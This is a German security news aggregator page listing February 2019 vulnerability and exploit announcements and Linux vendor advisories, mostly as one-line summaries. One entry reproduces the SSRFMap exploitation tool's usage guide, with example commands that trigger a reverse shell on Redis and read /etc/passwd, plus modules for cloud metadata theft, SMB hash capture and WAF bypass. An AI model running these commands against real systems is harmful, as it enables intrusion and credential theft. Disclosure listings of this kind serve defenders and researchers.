logo
Menu
 
  1. IT-Security >
  2. IT Security Tools


ArabicEnglishFrenchGermanGreekItalianJapaneseKoreanPersianPolishPortugueseRussianSpanishTurkishVietnamese
Anzeige

IT Security Tools


Suchen

Nuuo Central Management Server 2.4 Authenticated Arbitrary File Upload

IT Security Tools vom 20.02.2019 um 16:17 Uhr | Quelle packetstormsecurity.com
The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the CMS Server. The vulnerability is in the FileName parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to overwrite any files in the installation drive of CMS Server. This vulnerability is exploitable in CMS versions up to and including 2.4.
Newsbewertung

Weiterlesen

HotelDruid 2.3 Cross Site Scripting

IT Security Tools vom 20.02.2019 um 16:12 Uhr | Quelle packetstormsecurity.com
HotelDruid version 2.3 suffers from a cross site scripting vulnerability.
Newsbewertung

Weiterlesen

Apple macOS 10.13.5 Local Privilege Escalation

IT Security Tools vom 20.02.2019 um 16:09 Uhr | Quelle packetstormsecurity.com
Apple macOS version 10.13.5 local privilege escalation exploit.
Newsbewertung

Weiterlesen

Tech News 4.3.4 Cross Site Scripting

IT Security Tools vom 20.02.2019 um 16:05 Uhr | Quelle packetstormsecurity.com
Tech News version 4.3.4 suffers from a cross site scripting vulnerability.
Newsbewertung

Weiterlesen

Ubuntu Security Notice USN-3892-1

IT Security Tools vom 20.02.2019 um 16:04 Uhr | Quelle packetstormsecurity.com
Ubuntu Security Notice 3892-1 - Burghard Britzke discovered that GDM incorrectly handled certain configurations. An attacker could possibly use this issue to get unauthorized access to a different user.
Newsbewertung

Weiterlesen

Debian Security Advisory 4396-1

IT Security Tools vom 20.02.2019 um 16:04 Uhr | Quelle packetstormsecurity.com
Debian Linux Security Advisory 4396-1 - Several vulnerabilities have been found in Ansible, a configuration management, deployment, and task execution system.
Newsbewertung

Weiterlesen

FTPShell Sever 6.83 Denial Of Service

IT Security Tools vom 20.02.2019 um 11:11 Uhr | Quelle packetstormsecurity.com
FTPShell Server version 6.83 suffers from a denial of service vulnerability.
Newsbewertung

Weiterlesen

SSRFMap - Automatic SSRF Fuzzer And Exploitation Tool

IT Security Tools vom 20.02.2019 um 06:06 Uhr | Quelle blog.hackersonlineclub.com
SSRFMap - Automatic SSRF Fuzzer and Exploitation Tool

SSRFMap - Automatic SSRF Fuzzer and Exploitation Tool


SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Basic install from the Github repository.

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
pip3 install -r requirements.txt
python3 ssrfmap.py

Usage: 

ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                  [--lhost LHOST] [--lport LPORT] [--uagent USERAGENT]
                  [--ssl [SSL]] [--level [LEVEL]]


Optional arguments:

  -h, --help          show this help message and exit
  -r REQFILE          SSRF Request file
  -p PARAM            SSRF Parameter to target
  -m MODULES          SSRF Modules to enable
  -l HANDLER          Start an handler for a reverse shell
  --lhost LHOST       LHOST reverse shell
  --lport LPORT       LPORT reverse shell
  --uagent USERAGENT  User Agent to use
  --ssl [SSL]         Use HTTPS without verification
  --level [LEVEL]     Level of test to perform (1-5, default: 1)

The default way to use this script is the following.

# Launch a portscan on localhost and read default files
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

# Triggering a reverse shell on a Redis
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

A quick way to test the framework can be done with data/example.py SSRF service.

FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles

Modules

The following modules are already implemented and can be used with the -m argument.

Name    Description
fastcgi    FastCGI RCE
redis    Redis RCE
github    Github Enterprise RCE < 2.8.7
zabbix    Zabbix RCE
mysql    MySQL Command execution
docker    Docker Infoleaks via API
smtp    SMTP send mail
portscan Scan ports for the host
networkscan HTTP Ping sweep over the network
readfiles Read files such as /etc/passwd
alibaba Read files from the provider (e.g: meta-data, user-data)
aws Read files from the provider (e.g: meta-data, user-data)
gce Read files from the provider (e.g: meta-data, user-data)
digitalocean Read files from the provider (e.g: meta-data, user-data)
socksproxy SOCKS4 Proxy
smbhash Force an SMB authentication via a UNC Path
tomcat Bruteforce attack against Tomcat Manager

Download SSRFMap
Newsbewertung

Weiterlesen

TestSSL 3.0rc4

IT Security Tools vom 19.02.2019 um 22:14 Uhr | Quelle packetstormsecurity.com
testssl.sh is a free command line tool which checks a server's service on any port for the support of TLS/SSL ciphers, protocols as well as recent cryptographic flaws, and much more. It is written in (pure) bash, makes only use of standard Unix utilities, openssl and last but not least bash sockets.
Newsbewertung

Weiterlesen

Belkin Wemo UPnP Remote Code Execution

IT Security Tools vom 19.02.2019 um 21:57 Uhr | Quelle packetstormsecurity.com
This Metasploit module has been tested on a Wemo-enabled Crock-Pot, but other Wemo devices are known to be affected, albeit on a different RPORT (49153).
Newsbewertung

Weiterlesen

FaceTime Texture Processing Memory Corruption

IT Security Tools vom 19.02.2019 um 21:57 Uhr | Quelle packetstormsecurity.com
FaceTime suffers from a memory corruption vulnerability in texture processing.
Newsbewertung

Weiterlesen

Microsoft Edge Insecure click2play Whitelist

IT Security Tools vom 19.02.2019 um 21:56 Uhr | Quelle packetstormsecurity.com
Microsoft Edge has an issue where the default flash click2play whitelist is insecure.
Newsbewertung

Weiterlesen

Android seccomp Filter Ptrace Hole

IT Security Tools vom 19.02.2019 um 21:54 Uhr | Quelle packetstormsecurity.com
On Android, a ptrace hold makes the seccomp filter useless on devices with a kernel with a version lower than 4.8.
Newsbewertung

Weiterlesen

Red Hat Security Advisory 2019-0373-01

IT Security Tools vom 19.02.2019 um 21:51 Uhr | Quelle packetstormsecurity.com
Red Hat Security Advisory 2019-0373-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 60.5.1 ESR. Issues addressed include integer overflow and use-after-free vulnerabilities.
Newsbewertung

Weiterlesen

Red Hat Security Advisory 2019-0380-01

IT Security Tools vom 19.02.2019 um 21:49 Uhr | Quelle packetstormsecurity.com
Red Hat Security Advisory 2019-0380-01 - Red Hat Single Sign-On 7.2 is a standalone server, based on the Keycloak project, that provides authentication and standards-based single sign-on capabilities for web and mobile applications. This release of Red Hat Single Sign-On 7.2.6 serves as a replacement for Red Hat Single Sign-On 7.2.5, and includes bug fixes and enhancements, which are documented in the Release Notes document linked to in the References. Issues addressed include a cross site scripting vulnerability.
Newsbewertung

Weiterlesen

MaxxAudio Drivers WavesSysSvc64.exe 1.6.2.0 Privilege Escalation

IT Security Tools vom 19.02.2019 um 21:47 Uhr | Quelle packetstormsecurity.com
MaxxAudio Drivers WavesSysSvc64.exe version 1.6.2.0 suffers from a file permission privilege escalation vulnerability that results in SYSTEM level access.
Newsbewertung

Weiterlesen

Typo3 CMS Shop System tt_products 2.9.4 SQL Injection

IT Security Tools vom 19.02.2019 um 21:46 Uhr | Quelle packetstormsecurity.com
Typo3 CMS Shop System tt_products version 2.9.4 suffers from a remote SQL injection vulnerability.
Newsbewertung

Weiterlesen

Jenkins Remote Code Execution

IT Security Tools vom 19.02.2019 um 21:45 Uhr | Quelle packetstormsecurity.com
This write up contains details on how to perform remote code execution within Jenkins.
Newsbewertung

Weiterlesen

Webiness Inventory 2.3 Arbitrary File Upload

IT Security Tools vom 19.02.2019 um 21:44 Uhr | Quelle packetstormsecurity.com
Webiness Inventory version 2.3 suffers from an arbitrary file upload vulnerability.
Newsbewertung

Weiterlesen

Typo3 CMS T3 EasyEvent tx_easyevent_pi1 0.37.3 SQL Injection

IT Security Tools vom 19.02.2019 um 21:41 Uhr | Quelle packetstormsecurity.com
Typo3 CMS T3 EasyEvent tx_easyevent_pi1 version 0.37.3 suffers from a remote SQL injection vulnerability.
Newsbewertung

Weiterlesen

WordPress WooCommerce GloBee Payment Gateway 1.1.1 Bypass / Spoofing

IT Security Tools vom 19.02.2019 um 21:39 Uhr | Quelle packetstormsecurity.com
WordPress WooCommerce plugin with GloBee cryptocurrency payment gateway versions 1.1.1 and below suffer from payment bypass and unauthorized order status spoofing vulnerabilities.
Newsbewertung

Weiterlesen

Typo3 CMS Realty Manager tx_realty_pi1 2.0.0 Database Disclosure / SQL Injection

IT Security Tools vom 19.02.2019 um 21:38 Uhr | Quelle packetstormsecurity.com
Typo3 CMS Realty Manager tx_realty_pi1 version 2.0.0 suffers from database disclosure and remote SQL injection vulnerabilities.
Newsbewertung

Weiterlesen

Zoho ManageEngine ServiceDesk Plus (SDP) Arbitrary File Upload

IT Security Tools vom 19.02.2019 um 21:36 Uhr | Quelle packetstormsecurity.com
Zoho ManageEngine ServiceDesk Plus (SDP) versions prior to 10.0 build 10012 suffer from an arbitrary file upload vulnerability.
Newsbewertung

Weiterlesen

Typo3 CMS Commerce DAM connector tx_commerce_pi1 0.1.0 SQL Injection

IT Security Tools vom 19.02.2019 um 21:36 Uhr | Quelle packetstormsecurity.com
Typo3 CMS Commerce DAM connector tx_commerce_pi1 version 0.1.0 suffers from a remote SQL injection vulnerability.
Newsbewertung

Weiterlesen

Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 Traversal / XSS

IT Security Tools vom 19.02.2019 um 21:33 Uhr | Quelle packetstormsecurity.com
Zoho ManageEngine Netflow Analyzer Professional version 7.0.0.2 suffers from cross site scripting and path traversal vulnerabilities.
Newsbewertung

Weiterlesen

XAMPP 5.6.8 Cross Site Scripting / SQL Injection

IT Security Tools vom 19.02.2019 um 21:32 Uhr | Quelle packetstormsecurity.com
XAMPP version 5.6.8 suffers from cross site scripting and remote SQL injection vulnerabilities.
Newsbewertung

Weiterlesen

NetSetMan 4.7.1 Denial Of Service

IT Security Tools vom 19.02.2019 um 21:31 Uhr | Quelle packetstormsecurity.com
NetSetMan version 4.7.1 suffers from a denial of service vulnerability.
Newsbewertung

Weiterlesen

Typo3 Calendar Base tx_pxkalender_pi1 2.0.0 Database Disclosure / SQL Injection

IT Security Tools vom 19.02.2019 um 21:31 Uhr | Quelle packetstormsecurity.com
Typo3 Calendar Base tx_pxkalender_pi1 version 2.0.0 suffers from database disclosure and remote SQL injection vulnerabilities.
Newsbewertung

Weiterlesen

Typo3 CMS BrowserMaps Leaflet Tutorial tx_browser_pi1 8.0.39 SQL Injection

IT Security Tools vom 19.02.2019 um 21:31 Uhr | Quelle packetstormsecurity.com
Typo3 CMS BrowserMaps Leaflet Tutorial tx_browser_pi1 version 8.0.39 suffers from a remote SQL injection vulnerability.
Newsbewertung

Weiterlesen

Joomla JWallPapers 2.0.1 Cross Site Request Forgery / Shell Upload

IT Security Tools vom 19.02.2019 um 21:30 Uhr | Quelle packetstormsecurity.com
Joomla JWallPapers component version 2.0.1 suffers from cross site request forgery and remote shell upload vulnerabilities.
Newsbewertung

Weiterlesen

eDirectory SQL Injection / File Disclosure

IT Security Tools vom 19.02.2019 um 21:29 Uhr | Quelle packetstormsecurity.com
eDirectory suffers from file disclosure and remote SQL injection vulnerabilities.
Newsbewertung

Weiterlesen

BulletProof FTP Server 2019.0.0.50 Denial Of Service

IT Security Tools vom 19.02.2019 um 21:28 Uhr | Quelle packetstormsecurity.com
BulletProof FTP Server version 2019.0.0.50 suffers from a denial of service vulnerability.
Newsbewertung

Weiterlesen

Valentina Studio 9.0.4 Denial Of Service

IT Security Tools vom 19.02.2019 um 21:26 Uhr | Quelle packetstormsecurity.com
Valentina Studio version 9.0.4 suffers from a denial of service vulnerability.
Newsbewertung

Weiterlesen

Debian Security Advisory 4395-1

IT Security Tools vom 19.02.2019 um 16:24 Uhr | Quelle packetstormsecurity.com
Debian Linux Security Advisory 4395-1 - Several vulnerabilities have been discovered in the chromium web browser.
Newsbewertung

Weiterlesen

Debian Security Advisory 4394-1

IT Security Tools vom 19.02.2019 um 16:23 Uhr | Quelle packetstormsecurity.com
Debian Linux Security Advisory 4394-1 - Multiple security issues were found in the rdesktop RDP client, which could result in denial of service, information disclosure and the execution of arbitrary code.
Newsbewertung

Weiterlesen

Seitennavigation

Seite 1 von 203 Seiten (Bei Beitrag 1 - 35)
7.086x Beiträge in dieser Kategorie

Nächste 2 Seite | Letzte Seite

[ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ]

Letzten 48 Std.

    Keine Daten vorhanden.

Letzten 30 Tage

  • Startseite (4)

Team Security kostenloser Blog

Blog Subdomain sichern

Ihre Daten werden vertraulich behandelt. Die erhobenen Daten werden zum generieren Ihres Subdomain-Blogs benötigt.
Blog-Domain von tsecurity.de*
Admin-Benutzername*
Admin-Email*
Admin-Passwort*
AGB
Widerruf
Kostenlos Registieren

Werbung von eBay

IT-Sicherheit (Konzepte-Verfahren-Protokoll)

EUR 42,50
Angebotsende: Freitag Mär-22-2019 17:07:28 CET
Sofort-Kaufen für nur: EUR 42,50
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 20.02.2019 | 17:07

IT-Sicherheit von Claudia Eckert , 6. Aufl. (2009)

EUR 13,95
Angebotsende: Freitag Mär-22-2019 15:36:26 CET
Sofort-Kaufen für nur: EUR 13,95
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 20.02.2019 | 15:36

IT-Sicherheitsmanagement Praxiswissen für IT Security Manager Thomas W. Harich

EUR 49,00
Angebotsende: Freitag Mär-22-2019 14:48:40 CET
Sofort-Kaufen für nur: EUR 49,00
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 20.02.2019 | 14:48

Secrets & Lies. IT-Sicherheit in einer vernetzten Welt v... | Buch | Zustand gut

EUR 9,56
Angebotsende: Samstag Mär-2-2019 8:18:37 CET
Sofort-Kaufen für nur: EUR 9,56
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 20.02.2019 | 08:18

IT-Sicherheitskit Personalausweis Lesegerät USB Reader SCL011

EUR 20,00
Angebotsende: Donnerstag Mär-21-2019 14:10:48 CET
Sofort-Kaufen für nur: EUR 20,00
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 19.02.2019 | 14:10

IT Sicherheitskit

EUR 10,00 (0 Gebote)
Angebotsende: Sonntag Feb-24-2019 10:03:17 CET
Jetzt bieten | Zur Liste der beobachteten Artikel hinzufügen

Datum: 19.02.2019 | 10:03

IT-Sicherheit mit System: Sicherheitspyramide - Sicherhe... | Buch | Zustand gut

EUR 19,00
Angebotsende: Freitag Mär-1-2019 6:00:05 CET
Sofort-Kaufen für nur: EUR 19,00
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 19.02.2019 | 06:00

Secrets & Lies: IT-Sicherheit in einer vernetzten Welt Schneier, Bruce:

EUR 190,88
Angebotsende: Donnerstag Mär-21-2019 0:27:07 CET
Sofort-Kaufen für nur: EUR 190,88
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 19.02.2019 | 00:27

Chefsache IT-Sicherheit | Buch | Zustand sehr gut

EUR 2,70
Angebotsende: Donnerstag Feb-28-2019 2:00:56 CET
Sofort-Kaufen für nur: EUR 2,70
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 18.02.2019 | 02:00

Firewalls und IT-Sicherheit : Grundlagen und Praxis sicherer Netze: IP-Filter, C

EUR 6,70
Angebotsende: Mittwoch Mär-20-2019 1:51:06 CET
Sofort-Kaufen für nur: EUR 6,70
Sofort-Kaufen | Zur Liste der beobachteten Artikel hinzufügen

Datum: 18.02.2019 | 01:51